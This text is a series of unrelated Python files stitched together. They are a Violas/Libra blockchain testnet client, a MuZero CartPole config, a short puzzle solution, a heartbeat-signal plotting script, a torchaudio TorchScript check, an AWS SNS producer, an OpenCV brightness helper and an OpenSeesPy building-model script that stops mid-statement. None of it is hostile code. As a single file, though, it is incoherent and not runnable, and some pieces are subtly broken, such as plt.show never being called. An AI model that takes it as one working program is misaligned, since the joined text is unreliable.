import time
import requests
from libra_client.json_rpc.views import TransactionView
from typing import Optional, Union

from libra_client.lbrtypes.account_config.constants.lbr import CORE_CODE_ADDRESS
from libra_client.move_core_types.language_storage import TypeTag, StructTag
from libra_client.move_core_types.account_address import AccountAddress as Address
from libra_client.methods import LibraClient
from libra_client.lbrtypes.waypoint import Waypoint
from libra_client.account import Account
from libra_client.lbrtypes.transaction import TransactionPayload, SignedTransaction
from libra_client.lbrtypes.transaction.script import Script
from libra_client.lbrtypes.rustlib import ensure
from libra_client.error import LibraError, StatusCode, ServerCode
from libra_client.lbrtypes.bytecode import CodeType
from libra_client.lbrtypes.transaction.transaction_argument import TransactionArgument
from libra_client.lbrtypes.account_config import  association_address, treasury_compliance_account_address, transaction_fee_address, testnet_dd_account_address
from libra_client.lbrtypes.transaction.helper import create_user_txn
from libra_client.lbrtypes.account_state import AccountState
from libra_client.lbrtypes.account_config import config_address
from libra_client.lbrtypes.event import EventKey
from libra_client.lbrtypes import NamedChain

import os
from pathlib import Path
pre_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../key'))
if not Path(pre_path).exists():
    pre_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../key'))

CLIENT_WALLET_MNEMONIC_FILE = "client.mnemonic"
GAS_UNIT_PRICE = 0
MAX_GAS_AMOUNT = 1_000_000
TX_EXPIRATION = 100

NETWORKS = {
    'diem_testnet':{
        'url': "http://testnet.diem.com/v1",
        'faucet_server': "http://testnet.diem.com/mint",
    },
    'violas_testnet':{
        "url": "http://13.68.141.242:50001",
        "faucet_file": f"{pre_path}/mint_test.key",
    },

    'bj_testnet': {
        "url": "http://47.93.114.230:50001",
        "faucet_file": f"{pre_path}/mint_bj.key",
},
    'tmp_testnet': {
        "url": "http://47.93.114.230:37339",
        "faucet_file": f"{pre_path}/mint_tmp.key",
}
}

class Client():
    GRPC_TIMEOUT = 30
    MAX_GAS_AMOUNT = 1_000_000
    GAS_UNIT_PRICE = 0
    TXN_EXPIRATION = 100
    RECONNECT_COUNT = 2

    WAIT_TRANSACTION_COUNT = 1000
    WAIT_TRANSACTION_INTERVAL = 0.1

    DEFAULT_GAS_COIN_NAME = "XUS"

    ACCOUNTS_SEQS = dict()

    def __init__(self, network="violas_testnet", waypoint: Optional[Waypoint]=None, chain_id=None):
        ensure(network in NETWORKS, "The specified chain does not exist")
        chain = NETWORKS[network]
        ensure("url" in chain, "The specified chain has no url")
        url = chain.get("url")
        self.client = LibraClient.new(url, waypoint)
        faucet_account_file = chain.get("faucet_file")
        if faucet_account_file is None:
            self.treasury_compliance_account = None
        else:
            private_key = Account.get_key_from_file(faucet_account_file)
            self.treasury_compliance_account = Account(private_key, treasury_compliance_account_address())
            self.associate_account = Account(private_key, association_address())
            self.transaction_fee_account = Account(private_key, transaction_fee_address())
            self.testnet_dd_account = Account(private_key, testnet_dd_account_address())

        faucet_server = chain.get("faucet_server")
        self.faucet_server = faucet_server
        self.chain_id = chain_id or self.get_metadata().chain_id

    @classmethod
    def new(cls, url, chain_id=None, faucet_file:Optional[str]=None, faucet_server:Optional[str]=None, waypoint:Optional[Waypoint]=None):
        ret = cls.__new__(cls)
        ret.client = LibraClient.new(url, waypoint)
        faucet_account_file = faucet_file
        if faucet_account_file is None:
            ret.treasury_compliance_account = None
        else:
            private_key = Account.get_key_from_file(faucet_account_file)
            ret.treasury_compliance_account = Account(private_key, treasury_compliance_account_address())
            ret.associate_account = Account(private_key, association_address())
            ret.transaction_fee_account = Account(private_key, transaction_fee_address())
            ret.testnet_dd_account = Account(private_key, testnet_dd_account_address())

        faucet_server = faucet_server
        ret.faucet_server = faucet_server
        ret.chain_id = chain_id or ret.get_metadata().chain_id
        ret.accounts_seq = dict()

        return ret

    def get_balance(self, account_address: Union[bytes, str], currency_code=None, currency_module_address=None)-> Optional[int]:
        account_state = self.get_account_state(account_address)
        if account_state:
            return account_state.get_balance(currency_code, currency_module_address)
        return 0

    def get_balances(self, account_address: Union[bytes, str]):
        address = Address.normalize_to_bytes(account_address)
        state = self.client.get_account_state(address, True)
        if state:
            return {balance.currency: balance.amount for balance in state.balances}
        return {}

    def get_sequence_number(self, account_address: Union[bytes, str]) -> Optional[int]:
        account_state = self.get_account_blob(account_address)
        if account_state:
            return account_state.get_sequence_number()
        return 0

    def get_latest_version(self):
        metadata = self.get_metadata()
        return metadata.version

    def get_registered_currencies(self):
        state = self.get_account_state(config_address())
        return state.get_registered_currencies()

    def get_currency_info(self, currency_code):
        state = self.get_account_state(association_address())
        return state.get_currency_info_resource(currency_code)

    def get_account_state(self, account_address: Union[bytes, str], from_version=None, to_version=None) -> Optional[AccountState]:
        return self.get_account_blob(account_address, from_version, to_version)
        # address = Address.normalize_to_bytes(account_address)
        # return self.client.get_account_state(address, True)

    def get_account_blob(self, account_address: Union[bytes, str], from_version=None, to_version=None):
        address = Address.normalize_to_bytes(account_address)
        return self.client.get_account_blob(address, from_version, to_version)

    def get_account_transaction(self, account_address: Union[bytes, str], sequence_number: int, fetch_events: bool=True) -> TransactionView:
        return self.client.get_txn_by_acc_seq(account_address, sequence_number, fetch_events)

    def get_transactions(self, start_version: int, limit: int, fetch_events: bool=True) -> [TransactionView]:
        try:
            return self.client.get_txn_by_range(start_version, limit, fetch_events)
        except LibraError as e:
            return []

    def get_transaction(self, version, fetch_events:bool=True):
        txs = self.get_transactions(version, 1, fetch_events)
        if len(txs) == 1:
            return txs[0]

    def get_sent_events(self, address: Union[bytes, str], start: int, limit: int):
        address = Address.normalize_to_bytes(address)
        event_key = EventKey.new_from_address(address, 3)
        return self.client.get_events_by_access_path(event_key, start, limit)

    def get_received_events(self, address: Union[bytes, str], start: int, limit: int):
        address = Address.normalize_to_bytes(address)
        event_key = EventKey.new_from_address(address, 2)
        return self.client.get_events_by_access_path(event_key, start, limit)

    def get_specific_events(self, address: Union[bytes, str], id, start: int, limit: int):
        address = Address.normalize_to_bytes(address)
        event_key = EventKey.new_from_address(address, id)
        return self.client.get_events_by_access_path(event_key, start, limit)

    def add_currency_to_account(self, sender_account, currency_code, currency_module_address=None, is_blocking=True,
            max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE,txn_expiration=TXN_EXPIRATION, gas_currency_code=None):
        args = []
        ty_args = self.get_type_args(currency_code, currency_module_address)
        script = Script.gen_script(CodeType.ADD_CURRENCY_TO_ACCOUNT, *args, ty_args=ty_args,
                                   currency_module_address=currency_module_address)
        return self.submit_script(sender_account, script, is_blocking, max_gas_amount=max_gas_amount, gas_unit_price=gas_unit_price, txn_expiration=txn_expiration, gas_currency_code=gas_currency_code)

    def mint_coin(self, receiver_address, micro_coins, auth_key_prefix=None, human_name="", data="", add_all_currencies=False, is_blocking=True, currency_module_address=None,
                  currency_code=None,
                  max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE, txn_expiration=TXN_EXPIRATION, gas_currency_code=None):
        if currency_code is None:
            currency_code = self.DEFAULT_GAS_COIN_NAME
        if self.get_account_state(receiver_address) is None and self.treasury_compliance_account is not None:
            args = []
            args.append(TransactionArgument.to_U64(0))
            args.append(TransactionArgument.to_address(receiver_address))
            args.append(TransactionArgument.to_U8Vector(auth_key_prefix))
            args.append(TransactionArgument.to_U8Vector(human_name, hex=False))
            args.append(TransactionArgument.to_bool(add_all_currencies))
            ty_args = self.get_type_args(currency_code, currency_module_address)
            script = Script.gen_script(CodeType.CREATE_PARENT_VASP_ACCOUNT, *args, ty_args=ty_args, currency_module_address=currency_module_address)
            self.submit_script(self.treasury_compliance_account, script, is_blocking, gas_currency_code, max_gas_amount, gas_unit_price, txn_expiration)
        if hasattr(self, "testnet_dd_account"):
            args = []
            args.append(TransactionArgument.to_address(receiver_address))
            args.append(TransactionArgument.to_U64(micro_coins))
            args.append(TransactionArgument.to_U8Vector(data, hex=False))
            args.append(TransactionArgument.to_U8Vector(""))

            ty_args = self.get_type_args(currency_code, currency_module_address)
            script = Script.gen_script(CodeType.PEER_TO_PEER_WITH_METADATA, *args, ty_args=ty_args, currency_module_address=currency_module_address)
            return self.submit_script(self.testnet_dd_account, script, is_blocking, gas_currency_code, max_gas_amount, gas_unit_price,
                                      txn_expiration)
        else:
            return self.mint_coin_with_faucet_service(receiver_address, auth_key_prefix, micro_coins, currency_code, is_blocking)

    def transfer_coin(self, sender_account, receiver_address, micro_coins, currency_module_address=None,
                      currency_code=None, is_blocking=True, data=None, metadata_signature=None,
                      gas_currency_code=None, max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE, txn_expiration=TXN_EXPIRATION):
        if metadata_signature is None:
            metadata_signature = ""
        args = []
        args.append(TransactionArgument.to_address(receiver_address))
        args.append(TransactionArgument.to_U64(micro_coins))
        args.append(TransactionArgument.to_U8Vector(data, hex=False))
        args.append(TransactionArgument.to_U8Vector(metadata_signature))

        ty_args = self.get_type_args(currency_code, currency_module_address)
        script = Script.gen_script(CodeType.PEER_TO_PEER_WITH_METADATA, *args, ty_args=ty_args, currency_module_address=currency_module_address)
        return self.submit_script(sender_account, script, is_blocking,self.get_gas_currency_code(currency_code, gas_currency_code), max_gas_amount, gas_unit_price, txn_expiration)

    def tiered_mint(self, amount, currency_code=None, gas_currency_code=None, is_blocking=True, **kwargs):
        args = []
        args.append(TransactionArgument.to_U64(0))
        args.append(TransactionArgument.to_address(self.testnet_dd_account.address))
        args.append(TransactionArgument.to_U64(amount))
        args.append(TransactionArgument.to_U64(3))

        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.TIERED_MINT, *args, ty_args=ty_args)
        return self.submit_script(self.treasury_compliance_account, script, is_blocking, self.get_gas_currency_code(currency_code, gas_currency_code), **kwargs)

    def modify_publishing_option(self, option, is_blocking=True, gas_currency_code=None, max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE, txn_expiration=TXN_EXPIRATION):
        args = []
        args.append(TransactionArgument.to_U8Vector(option, hex=False))

        ty_args = []
        script = Script.gen_script(CodeType.MODIFY_PUBLISHING_OPTION, *args, ty_args=ty_args)
        return self.submit_script(self.treasury_compliance_account, script, is_blocking, self.get_gas_currency_code(None, gas_currency_code), max_gas_amount, gas_unit_price, txn_expiration)

    def preburn(self, sender_account, amount, currency_code=None, gas_currency_code=None, **kwargs):
        args = []
        args.append(TransactionArgument.to_U64(amount))
        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.PREBURN, *args, ty_args=ty_args)
        return self.submit_script(sender_account, script, gas_currency_code=self.get_gas_currency_code(currency_code, gas_currency_code), **kwargs)

    def burn(self, preburn_address, currency_code=None, gas_currency_code=None, **kwargs):
        args = []
        args.append(TransactionArgument.to_U64(0))
        args.append(TransactionArgument.to_address(preburn_address))

        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.BURN, *args, ty_args=ty_args)
        return self.submit_script(self.treasury_compliance_account, script, gas_currency_code=self.get_gas_currency_code(currency_code, gas_currency_code), **kwargs)

    def cancel_burn(self, preburn_address, currency_code=None, gas_currency_code=None, **kwargs):
        args = []
        args.append(TransactionArgument.to_address(preburn_address))

        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.CANCEL_BURN, *args, ty_args=ty_args)
        return self.submit_script(self.treasury_compliance_account, script, gas_currency_code=self.get_gas_currency_code(currency_code, gas_currency_code), **kwargs)

    def create_designated_dealer(self, new_account_address, auth_key_prefix, currency_code=None, gas_currency_code=None, **kwargs):
        args = []
        args.append(TransactionArgument.to_U64(0))
        args.append(TransactionArgument.to_address(new_account_address))
        args.append(TransactionArgument.to_U8Vector(auth_key_prefix))

        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.CREATE_DESIGNATED_DEALER, *args, ty_args=ty_args)
        return self.submit_script(self.associate_account, script, gas_currency_code=self.get_gas_currency_code(currency_code, gas_currency_code), **kwargs)

    def rotate_dual_attestation_info(self, sender_account, new_url, new_key=None, gas_currency_code=None, **kwargs):
        if new_key is None:
            new_key = sender_account.public_key
        args = []
        args.append(TransactionArgument.to_U8Vector(new_url, hex=False))
        args.append(TransactionArgument.to_U8Vector(new_key))

        ty_args = []
        script = Script.gen_script(CodeType.ROTATE_DUAL_ATTESTATION_INFO, *args, ty_args=ty_args)
        return self.submit_script(sender_account, script, gas_currency_code=self.get_gas_currency_code(currency_code=gas_currency_code), **kwargs)

    def get_account_registered_currencies(self, account_address):
        return self.get_balances(account_address).keys()

    def add_all_currency_to_account(self, sender_account, gas_currency_code=None, **kwargs):
        currencies = self.get_registered_currencies()
        has_currencies = self.get_account_registered_currencies(sender_account.address)
        for currency in list(set(currencies)-set(has_currencies)):
            self.add_currency_to_account(sender_account, currency_code=currency, gas_currency_code=gas_currency_code, **kwargs)

    def create_child_vasp_account(self, parent_vasp_account, child_address, auth_key_prefix, currency_code=None, add_all_currency=False,
                                  child_initial_balance=0, gas_currency_code=None, **kwargs):
        args = []
        args.append(TransactionArgument.to_address(child_address))
        args.append(TransactionArgument.to_U8Vector(auth_key_prefix))
        args.append(TransactionArgument.to_bool(add_all_currency))
        args.append(TransactionArgument.to_U64(child_initial_balance))

        ty_args = self.get_type_args(currency_code)
        script = Script.gen_script(CodeType.CREATE_CHILD_VASP_ACCOUNT, *args, ty_args=ty_args)
        return self.submit_script(parent_vasp_account, script,
                                  gas_currency_code=self.get_gas_currency_code(currency_code, gas_currency_code),
                                  **kwargs)

    '''...........................................Called internal.....................................'''
    def require_faucet_account(self):
        ensure(self.treasury_compliance_account is not None, "facucet_account is not set")

    def mint_coin_with_faucet_service(self, receiver, auth_key_prefix, micro_coins: int, currency_code, is_blocking=True):
        receiver = Address.normalize_to_bytes(receiver)
        ensure(auth_key_prefix is not None, "Require auth_key_prefix")
        auth_key_prefix = Address.normalize_to_bytes(auth_key_prefix)
        ensure(self.faucet_server is not None, "Require faucet server")
        params = {
            "amount": micro_coins,
            "auth_key": (auth_key_prefix+receiver).hex(),
            "currency_code": currency_code,
            "return_txns": "false",
            "is_designated_dealer": "false"
        }
        try_time = 3
        while True:
            try:
                response = requests.post(self.faucet_server, params=params)
                if response.status_code == requests.codes.ok:
                    break
                if response.status_code == 429:
                    raise Exception(response.text)
            except Exception as e:
                try_time -= 1
                if try_time < 0:
                    raise e
                import time
                time.sleep(1)
        body = response.text
        status = response.status_code
        ensure(status == requests.codes.ok, f"Failed to query remote faucet server[status={status}]: {body}")
        sequence_number = int(body)
        if is_blocking:
            self.wait_for_transaction(testnet_dd_account_address(), sequence_number - 1)
        return sequence_number-1

    def get_metadata(self):
        return self.client.get_metadata()

    def get_state_proof(self):
        return self.client.get_state_proof()

    def get_type_args(self, currency_code, currency_module_address=None, struct_name=None):
        if currency_module_address is None:
            currency_module_address = CORE_CODE_ADDRESS
        if currency_code is None:
            currency_code = self.DEFAULT_GAS_COIN_NAME
        if struct_name is None:
            struct_name = currency_code
        currency_module_address = Address.normalize_to_bytes(currency_module_address)
        coin_type = TypeTag("Struct", StructTag(
            currency_module_address,
            currency_code,
            struct_name,
            []
        ))
        if coin_type:
            return [coin_type]
        return []

    def wait_for_transaction(self, address: Union[bytes, str], sequence_number: int):
        wait_time = 0
        while wait_time < self.WAIT_TRANSACTION_COUNT:
            wait_time += 1
            time.sleep(self.WAIT_TRANSACTION_INTERVAL)
            transaction = self.get_account_transaction(address, sequence_number, fetch_events=False)
            if transaction is None:
                continue
            if transaction.is_successful():
                return
            raise LibraError(ServerCode.VmStatusError, transaction.get_vm_status(), on_chain=True)

        raise LibraError(ServerCode.VmStatusError, StatusCode.WAIT_TRANSACTION_TIME_OUT)

    def submit_signed_transaction(self, signed_transaction: Union[bytes, str, SignedTransaction], is_blocking=True):
        if isinstance(signed_transaction, str):
            signed_transaction = bytes.fromhex(signed_transaction)
        if isinstance(signed_transaction, bytes):
            signed_transaction = SignedTransaction.deserialize(signed_transaction)
        sender_address = signed_transaction.get_sender()
        sequence_number = signed_transaction.get_sequence_number()
        self.client.submit_transaction(signed_transaction)
        if is_blocking:
            self.wait_for_transaction(sender_address, sequence_number)
        self.set_seq(sender_address, sequence_number+1)
        return sequence_number

    def submit_script(self, sender_account, script, is_blocking=True, gas_currency_code=None, max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE, txn_expiration=TXN_EXPIRATION):
        gas_currency_code = self.get_gas_currency_code(gas_currency_code=gas_currency_code)
        sequence_number = self.get_local_seq(sender_account.address)
        if sequence_number is None:
            sequence_number = self.get_sequence_number(sender_account.address)
        signed_txn = create_user_txn(TransactionPayload("Script",script), sender_account, sequence_number, max_gas_amount, gas_unit_price, gas_currency_code, txn_expiration, chain_id=self.chain_id)
        self.submit_signed_transaction(signed_txn, is_blocking)
        return sequence_number

    def submit_module(self, sender_account, module,  is_blocking=True, gas_currency_code=None, max_gas_amount=MAX_GAS_AMOUNT, gas_unit_price=GAS_UNIT_PRICE, txn_expiration=TXN_EXPIRATION):
        gas_currency_code = self.get_gas_currency_code(gas_currency_code=gas_currency_code)
        sequence_number = self.get_local_seq(sender_account.address)
        if sequence_number is None:
            sequence_number = self.get_sequence_number(sender_account.address)
        signed_txn = create_user_txn(TransactionPayload("Module", module), sender_account, sequence_number, max_gas_amount, gas_unit_price, gas_currency_code, txn_expiration, chain_id=self.chain_id)
        self.submit_signed_transaction(signed_txn, is_blocking)
        return sequence_number

    def get_gas_currency_code(self, currency_code=None, gas_currency_code=None):
        if gas_currency_code:
            return gas_currency_code
        if currency_code:
            return currency_code
        return self.DEFAULT_GAS_COIN_NAME

    def return_when_error(value):
        def get_exception(func):
            def catch_execption_func(*args, **kwargs):
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    return value
            return catch_execption_func
        return get_exception

    def get_local_seq(self, addr):
        if isinstance(addr, bytes):
            addr = addr.hex()
        addr = addr.lower()
        return self.__class__.ACCOUNTS_SEQS.get(addr)

    def set_seq(self, addr, seq):
        if isinstance(addr, bytes):
            addr = addr.hex()
        addr = addr.lower()
        self.__class__.ACCOUNTS_SEQS[addr] = seq


from typing import List

import gym
from game_env import Game
import numpy as np
from config import MuZeroConfig

class CartPole(Game):
    def __init__(self, action_space_size, discount):
        super().__init__(action_space_size, discount)
        self.env = gym.make('CartPole-v1')
        self.done = False

    def step(self, action):
        """Execute one step of the game conditioned by the given action."""
        observation, reward, done, _ = self.env.step(action)
        self.done = done
        return np.array([[observation]]), reward

    def terminal(self):
        """Is the game is finished?"""
        return self.done

    def legal_actions(self):
        """Return the legal actions available at this instant."""
        return [i for i in range(2)]

    def reset(self):
        """
        Reset the game for a new game.

        Returns:
            Initial observation of the game.
        """
        return np.array([[self.env.reset()]])

    def close(self):
        """
        Properly close the game.
        """
        self.env.close()

def make_cartpole_config():
    def visit_softmax_temperature(num_moves, training_steps):
        return 1.0

    return MuZeroConfig(
        game=CartPole,
        action_space_size=2,
        max_moves=500,
        discount=0.997,
        dirichlet_alpha=0.25,
        num_simulations=50,
        num_training_loop=50,
        num_epochs=5000,
        batch_size=128,
        td_steps=50,
        num_train_episodes=20,
        num_eval_episodes=1,
        lr_init=0.05,
        lr_decay_steps=1000,
        max_priority=False,
        visit_softmax_temperature_fn=visit_softmax_temperature,
        network_args={'support_size': 10,
                      'encoding_size': 8,
                      'rep_hidden': [],
                      'dyn_hidden': [16],
                      'rew_hidden': [16],
                      'val_hidden': [],
                      'pol_hidden': [],
                      'observation_shape': (1, 1, 4),
                      },
        result_path="cartpole.weights"
        )


import sys
sys.stdin = open("input.txt")

T = int(input())
for tc in range(1,T+1):
    A, B, C = map(int, input().split())
    x=y=0
    if A>B:
        A, B = B, A
    c=C//A
    print('#{} {}'.format(tc, c))


#!/bin/env python3

import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import sys, getopt

inputfile = ""
outputfile = ""
start = 0
end = -1

try:
	opts, args = getopt.getopt(sys.argv[1:],"hi:o:s:e:",["ifile=","ofile="])
except getopt.GetoptError:
	print("plot.py -i <inputfile> -o <outputfile>")
	sys.exit(2)

for opt, arg in opts:
	if opt == '-h':
		print("plot.py -i <inputfile> -o <outputfile>")
		sys.exit()
	elif opt in ("-i", "--ifile"):
		inputfile = arg
	elif opt in ("-o", "--ofile"):
		outputfile = arg
	elif opt == "-s":
		start = int(arg)
	elif opt == "-e":
		end = int(arg)

if not inputfile or not outputfile:
	print("plot.py -i <inputfile> -o <outputfile>")
	sys.exit(2)

f = open(inputfile, "rb")
data = f.read(5)

timestamps = []
values = []
d1 = []
d2 = []
median = []

i = 0
while True:
	i += 1
	t = f.read(8)
	v = f.read(2)

	timestamp = int.from_bytes(t, byteorder="little")
	value = int.from_bytes(v, byteorder="little")
	timestamps.append(timestamp)
	values.append(value)

	if (len(v) < 2 or len(t) < 8 or i > 50000):
		break

MIN_VALIDITY_MICROS = 	60000
INTEGRATE_MICROS = 		55000
MEDIAN_MICROS = 	   120000
RESET_INTEGRATION =		90000
INTEGRAL_THRESHOLD = 	 5000

MIN_LEVEL_MAXIMUM = 	  200
MAX_MICROS_UPFLANK = 	40000
MAX_MICROS_DOWNFLANK =  40000

values = np.asarray(values)
timestamps = np.asarray(timestamps)
md = np.zeros(len(values))
integral = np.zeros(len(values))

t0 = timestamps[0]
timestamps[0] -= t0

median_backptr = 0

for i in range(1, len(values)):
	timestamps[i] -= t0

	while (timestamps[i] - timestamps[median_backptr] > MEDIAN_MICROS):
		median_backptr += 1

	md[i] = np.median(values[median_backptr:i+1])

for i in range(1, len(values)):
	values[i] = values[i] - md[i] - 10

beats = []
armed = False

invalidity_backptr = 0
integration_backptr = 0
last_negative1 = 0
last_negative2 = 0

for i in range(1, len(values)):

	t_diff = timestamps[i] - timestamps[i-1]

	if t_diff > 3000 or t_diff < 0:
		print("new invalidity at " + str(i))
		invalidity_backptr = i

	if values[i] < 0:
		integration_backptr = i
		last_negative2 = last_negative1
		last_negative1 = i

	if timestamps[i] - timestamps[last_negative1] > RESET_INTEGRATION:
		integration_backptr = i

	while (timestamps[i] - timestamps[integration_backptr]) > INTEGRATE_MICROS:
		integration_backptr += 1

	if (integration_backptr < i+1):
		integral[i] = np.sum(values[integration_backptr:i+1]) /  25
	else:
		integral[i] = 0

	if (integral[i]*25 > INTEGRAL_THRESHOLD) and not armed:
		armed = True
		print("armed at " + str(i))

	if armed and last_negative1 == i:
		armed = False
		print("check at " + str(i))
		print(invalidity_backptr)
		print(timestamps[i])
		print(timestamps[invalidity_backptr])

		if timestamps[i] - timestamps[invalidity_backptr] > 60000:

			if (timestamps[i] - timestamps[last_negative2]) <= 60000:

				m = np.amax(values[last_negative2:i+1])
				k1 = last_negative2
				k2 = i
				while (values[k1] < 0.7*m):
					k1 += 1
				while (values[k2] < 0.7*m):
					k2 -= 1

				#print("m = " +str(m))
				#print(str(k1-j))
				#print(str(i -k2))

				if m > MIN_LEVEL_MAXIMUM and timestamps[k1] - timestamps[last_negative2] < MAX_MICROS_UPFLANK and timestamps[last_negative1] - timestamps[k2] < MAX_MICROS_DOWNFLANK:
					beats.append(i)
		else:
			print("invalidity too close")

print(timestamps[end] - timestamps[start])

#for i in range(0, len(values)):
#	d1[i] = d1[i]*2
#	d2[i] = d2[i]*2

if end == -1:
	end = len(values)

x = np.arange(start, end)
#x = timestamps[start:end]
fig, ax = plt.subplots()
fig.set_size_inches(200,10)
ax.plot(x, values[start:end], ".-")
#ax.plot(x, d1[start:end], ".-")
#ax.plot(x, d2[start:end], ".-")
ax.plot(x, md[start:end], ".-")
#ax.plot(x, sig1[start:end], ".-")
#ax.plot(x, sig2[start:end], ".-")
#ax.plot(x, sig3[start:end], ".-")
ax.plot(x, integral[start:end], ".-")
ax.plot([start, end], [0, 0], 'k-', lw=1)
ax.plot([start, end], [100, 100], 'k-', lw=1)
ax.plot([start, end], [200, 200], 'k-', lw=1)
ax.plot([start, end], [300, 300], 'k-', lw=1)
ax.plot([start, end], [400, 400], 'k-', lw=1)
ax.plot([start, end], [500, 500], 'k-', lw=1)

for b in beats:
	if b >= start and b <= end:
		ax.plot([b,b], [0, 500], 'b-', lw=2)

fig.savefig(outputfile, dpi=100)
plt.show


import os
import tempfile
from typing import Optional
from packaging import version

import torch
import torchaudio

_MIN_VER = version.parse('0.6.0a0')
_MAX_VER = version.parse('0.7.0')
_RUNTIME_VER = version.parse(torchaudio.__version__)

def info(filepath: str) -> torchaudio.backend.sox_io_backend.AudioMetaData:
    return torchaudio.info(filepath)

def load(
        filepath: str,
        frame_offset: int,
        num_frames: int,
        normalize: bool,
        channels_first: bool):
    return torchaudio.load(filepath, frame_offset, num_frames, normalize, channels_first)

def save(
        filepath: str,
        tensor: torch.Tensor,
        sample_rate: int,
        channels_first: bool = True,
        compression: Optional[float] = None,
):
    torchaudio.save(filepath, tensor, sample_rate, channels_first, compression)

def generate(output_dir):
    if not (_MIN_VER <= _RUNTIME_VER < _MAX_VER):
        raise RuntimeError(f'Invalid torchaudio runtime version: {_RUNTIME_VER}')

    torchaudio.set_audio_backend('sox_io')

    funcs = [
        info,
        load,
        save,
    ]

    os.makedirs(output_dir, exist_ok=True)
    for func in funcs:
        torch.jit.script(func).save(os.path.join(output_dir, f'{func.__name__}.zip'))

def validate(input_dir):
    torchaudio.set_audio_backend('sox_io')

    # See https://github.com/pytorch/pytorch/issues/42258
    # info_ = torch.jit.load(os.path.join(input_dir, 'info.zip'))
    load_ = torch.jit.load(os.path.join(input_dir, 'load.zip'))
    save_ = torch.jit.load(os.path.join(input_dir, 'save.zip'))

    sample_rate = 44100
    normalize = True
    channels_first = True
    with tempfile.TemporaryDirectory() as temp_dir:
        temp_file = os.path.join(temp_dir, 'test.wav')
        temp_data = torch.rand(2, sample_rate, dtype=torch.float32)

        save_(temp_file, temp_data, sample_rate, channels_first, 0.)
        # info_(temp_file)
        load_(temp_file, 0, -1, normalize, channels_first)


"""
Message producer.

"""
from collections import defaultdict

from boto3 import client
from microcosm.api import defaults

from microcosm_pubsub.errors import TopicNotDefinedError

class SNSProducer(object):
    """
    Produces messages to SNS topics.

    """
    def __init__(self, sns_client, sns_topic_arns, pubsub_message_codecs):
        self.sns_client = sns_client
        self.sns_topic_arns = sns_topic_arns
        self.pubsub_message_codecs = pubsub_message_codecs

    def produce(self, media_type, dct=None, **kwargs):
        """
        Produce a message.

        :returns: the message id

        """
        topic_arn = self.choose_topic_arn(media_type)
        content = self.pubsub_message_codecs[media_type].encode(dct, **kwargs)
        result = self.sns_client.publish(
            TopicArn=topic_arn,
            Message=content,
        )
        return result["MessageId"]

    def choose_topic_arn(self, media_type):
        """
        Choose a topic for this type of message.

        """
        try:
            topic_arn = self.sns_topic_arns[media_type]
        except KeyError:
            topic_arn = None

        if topic_arn is None:
            raise TopicNotDefinedError("No topic arn was registered for messages of type: {}".format(
                media_type,
            ))
        return topic_arn

@defaults(
    default=None,
    mappings={},
)
def configure_sns_topic_arns(graph):
    """
    Configure a mapping from message types to topic ARNs.

    """
    if graph.config.sns_topic_arns.default is None:
        sns_topic_arns = dict()
    else:
        sns_topic_arns = defaultdict(lambda: graph.config.sns_topic_arns.default)

    sns_topic_arns.update(graph.config.sns_topic_arns.mappings)

    return sns_topic_arns

def configure_sns_producer(graph):
    """
    Configure an SNS producer.

    """
    if graph.metadata.testing:
        from mock import MagicMock
        sns_client = MagicMock()
    else:
        sns_client = client("sns")

    return SNSProducer(
        sns_client=sns_client,
        sns_topic_arns=graph.sns_topic_arns,
        pubsub_message_codecs=graph.pubsub_message_codecs,
    )


import cv2
import numpy as np
import matplotlib.pyplot as plt

'''
# normalize brightness to reduce variation
def reg_brightness(img):
    # img = cv2.imread(img)
    img = img
    img = (img - np.mean(img))/np.std(img)*16 + 64 # https://cvtech.cc/std/
    cv2.imshow('image', img)
    cv2.waitKey(0)
    return img
'''

def reg_brightness(img):
    hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
    value = hsv_img[:, :, (2)]
    value = value * (120/np.mean(value))
    hsv_img[:, :, (2)] = value

    hsv_img = np.asarray(hsv_img)
    img = cv2.cvtColor(hsv_img, cv2.COLOR_HSV2BGR)

    return img


from IPython import get_ipython
def __reset__(): get_ipython().magic('reset -sf')

# import OpenSeesPy rendering module
from openseespy.postprocessing.Get_Rendering import *

import openseespy.opensees as ops
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import math

ops.wipe()

#read building summary spreadsheet
bldg = pd.read_excel (r'bldg_table_removed small area.xlsx')
bldg_arr= bldg.to_numpy()

#read original building spreadpsheet
original_bldg= pd.read_excel (r'bldg_removed no wall.xlsx')

#read original wall spreadsheet
original_wall= pd.read_excel (r'wall revised.xlsx')

#record 5 eigenvalues for each building
num_eigen= 5

#initialize matrix to store period data
period_data= np.zeros((bldg.shape[0],num_eigen))

#loop through all buildings to create linear elastic 3D stick models
for bldg_num in range(bldg.shape[0]):
    #read bldg ID
    bldg_id= bldg.iat[bldg_num,20]

    #read processed wall data spreadsheet
    wall= pd.read_excel (r'Bldg Plan Jan 4/Wall Table/wall_table%d.xlsx' %(bldg_id))
    wall.fillna(0, inplace=True)
    wall_arr = wall.to_numpy()

    # =============================================================================
    #   Set modelbuilder
    # =============================================================================
    ops.model('basic', '-ndm', 3)

    # =============================================================================
    #   Define Material
    # =============================================================================
    #1.material ID 2.elastic modulus (float) 3.Poisson’s ratio (float) 4.mass density (float) (optional)
    conc_mat = ["ElasticIsotropic",0,0,0,0]

    conc_mat[1] = 1         #material ID
    conc_mat[3] = 0.17      #Poisson's ratio
    conc_mat[4] = 2400      #mass density
    #elastic modulus
    original_bldg_row= original_bldg.loc[original_bldg['BuildingID'] == bldg_id]

    if pd.isnull(original_bldg_row.iat[0,47]):
